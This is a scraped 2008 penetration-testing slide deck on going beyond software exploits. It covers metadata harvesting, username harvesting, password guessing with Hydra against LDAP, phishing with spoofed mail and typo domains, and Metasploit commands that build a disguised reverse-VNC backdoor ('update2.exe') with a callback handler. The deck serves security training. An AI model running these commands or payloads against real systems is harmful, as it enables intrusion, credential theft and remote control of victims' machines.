when exploits aren’t enough - lenny zeltserlet’s examine 4 techniques for going beyond the...

45
When Exploits Aren’t Enough Tips and Tools for Better Penetration Testing Lenny Zeltser / March 2008 Copyright © 2008. Lenny Zeltser.

Upload: others

Post on 07-Oct-2020

2 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

When Exploits Aren’t Enough

Tips and Tools for Better Penetration Testing

Lenny Zeltser / March 2008

Copyright © 2008. Lenny Zeltser.

Page 2: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Pen testing usually involves locating and exploiting software bugs.

Page 3: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Attack surface of many server

environments is very limited.

What if you couldn’t exploit

any software vulnerabilities?

Page 4: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Let’s examine 4 techniques for going beyond the exploit-focused approach.

Data in plain sight

Remote password-guessing

Social engineering

Client-side backdoors

Page 5: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

#1: Data in plain sight

Page 6: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Google

site:example.com filetype:pdf

site:example.com filetype:ppt

site:example.com filetype:doc

Page 7: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering
Page 8: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

libextractor

$ extract sample.pdf sample.ppt sample.doc

$ extract overview.ppt

paragraph count - 2

last saved by - Lenny Zeltser

title - Project overview

creation date - 2008-03-14T01:58:53Z

creator - John Smith

word count - 5

date - 2008-03-14T04:56:57Z

generator - Microsoft Office PowerPoint

Page 9: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering
Page 10: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Google + libextractor = Metagoofil

$ metagoofil.py -d example.com -f all -l 10 –o o.html –t o

Page 11: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Finding documents via Maltego

Page 12: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Finding interesting files via Maltego

Page 13: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

#2: Remote Password-Guessing

Page 14: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Potential usernames: ranked word lists

http://www.census.gov/genealogy/names/names_files.html

Top Last Names Top Female First Names Top Male First Names

smith mary james

johnson patricia john

williams linda robert

jones barbara michael

brown elizabeth william

davis jennifer david

miller maria richard

Page 15: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Potential usernames: theHarvester

$ theHarvester.py -d example.com –l 3 -b google

[email protected]

[email protected]

[email protected]

$ theHarvester.py -d example.com –l 3 -b linkedin

Mark Jameson

James Quieras

Robert Marcus

$ theHarvester.py -d example.com –l 3 -b pgp

[email protected]

[email protected]

[email protected]

Page 16: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Wrong username vs. password

Page 17: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Confirm usernames with Brutus by varying only usernames.

OneMany

Page 18: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

A head-on brute-force password attack will probably fail.

Create a short list of potential passwords.

Page 19: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Some common generic passwords

password baseball1 iloveyou querty1 soccer

password1 football1 iloveyou1 querty123 windows

abc123 123456 monkey bitch1 1qaz2wsx

123abc 123123 cookie123 flower gospel

fuckyou monkey1 miss4you 123qwe superman1

fuckyou1 princess1 clumsy manager admin

Page 20: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Best results with a company-specific dictionary file

Briefly

Britain

British

brother

browser

Bugtraq

Bugbear

bundled

Page 21: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Password recovery mechanisms are weak links.

They often depend on security of the email system.

Page 22: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Also, “secret question” recovery is a prime candidate for attack.

Page 23: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Letting users select their own questions is particularly weak.

Page 24: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Use LDAP if you find it—much faster authentication.

$ hydra -L users.txt –P passwords.txt ldap.example.com ldap2

Hydra v5.4 (c) 2006 by van Hauser / THC

Hydra (http://www.thc.org) starting at 2008-03-15 [DATA] 15

tasks, 1 servers, 26753 login tries

[DATA] attacking service ldap2 on port 389

[389][ldap] login: CN=Robert Marcus,OU=IT,O=ACME Example

password: Bugbear

$ k0ld –f users.txt -w passwords.txt -I -o out.txt -f 'cn=*'

-h ldap.example.com

Page 25: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Brute-force Remote Desktop credentials with TSGrinder.

Page 26: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

TSGrinder is slow, and requires an older Remote Desktop client (v5).

Page 27: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

#3: Social engineering

Page 28: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Tricking employees to release information works too well.

Page 29: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Email phishing-style campaigns can obtain logon credentials.

Page 30: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

ArGoSoft Mail Server Freeware helps relay spoofed email.

Page 31: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

You can register a domain that resembles that of the target.

http://www.domaintools.com/domain-typo

xeample.com

eaxmple.com

exampe.net

exapmle.com

eaxmple.com

wwwexample.com

exampel.com

Page 32: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Too many users will give up their logon credentials.

Page 33: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

The site can also capture client-side details for follow-on attacks.

USER: jsmith

PASSWORD: plumlips

LOCAL IP: 192.168.2.144

REMOTE IP: 208.77.188.166

PORT: 61035

USER AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1;

en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6

PLUGINS: Move Media Player; QuickTime Plug-in 7.4.1;

Mozilla Default Plug-in; RealJukebox NS Plugin;

RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-

bit); Shockwave Flash; Java(TM) Platform SE 6 U2;

Page 34: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

USER: jsmith

PASSWORD: plumlips

LOCAL IP: 192.168.2.144

REMOTE IP: 208.77.188.166

PORT: 61035

USER AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1;

en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6

PLUGINS: Move Media Player; QuickTime Plug-in 7.4.1;

Mozilla Default Plug-in; RealJukebox NS Plugin;

RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-

bit); Shockwave Flash; Java(TM) Platform SE 6 U2;

LIVE IPS: 192.168.1.143; 192.168.1.148;

You could perform rudimentary internal network scanning.

Page 35: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

#4: Client-Side Backdoors

Page 36: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Keeping up with security patches on laptops and desktops is hard.

Page 37: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Tools such as Metasploit help target client-side vulnerabilities.

Page 38: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

It may be more effective just to ask the user to install the backdoor.

Page 39: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

The backdoor can connect to the attacking system via reverse-shell.

Page 40: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Metasploit can generate stand-alone payloads. Example: Reverse-VNC.

$ msfpayload windows/vncinject/reverse_tcp LPORT=5544

LHOST=192.168.1.124 DisableCourtesyShell=True X >update2.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/vncinject/reverse_tcp

Length: 177

Options:

LHOST=192.168.1.124,LPORT=5544,DisableCourtesyShell=True

$ msfcli exploit/multi/handler LPORT=5544

PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.124

DisableCourtesyShell=True E

Page 41: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Reverse-VNC can control a system even if it is behind a firewall.

Page 42: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

A system compromiseis just a means to an end.

Page 43: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Consider the scenarios we discussed when defining the rules

of engagement.

Page 44: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

These approaches increase the chances of a “successful” pen test.

Data in plain sight

Remote password-guessing

Social engineering

Client-side backdoors

Page 45: When Exploits Aren’t Enough - Lenny ZeltserLet’s examine 4 techniques for going beyond the exploit-focused approach. Data in plain sight Remote password-guessing Social engineering

Lenny Zeltser

www.zeltser.com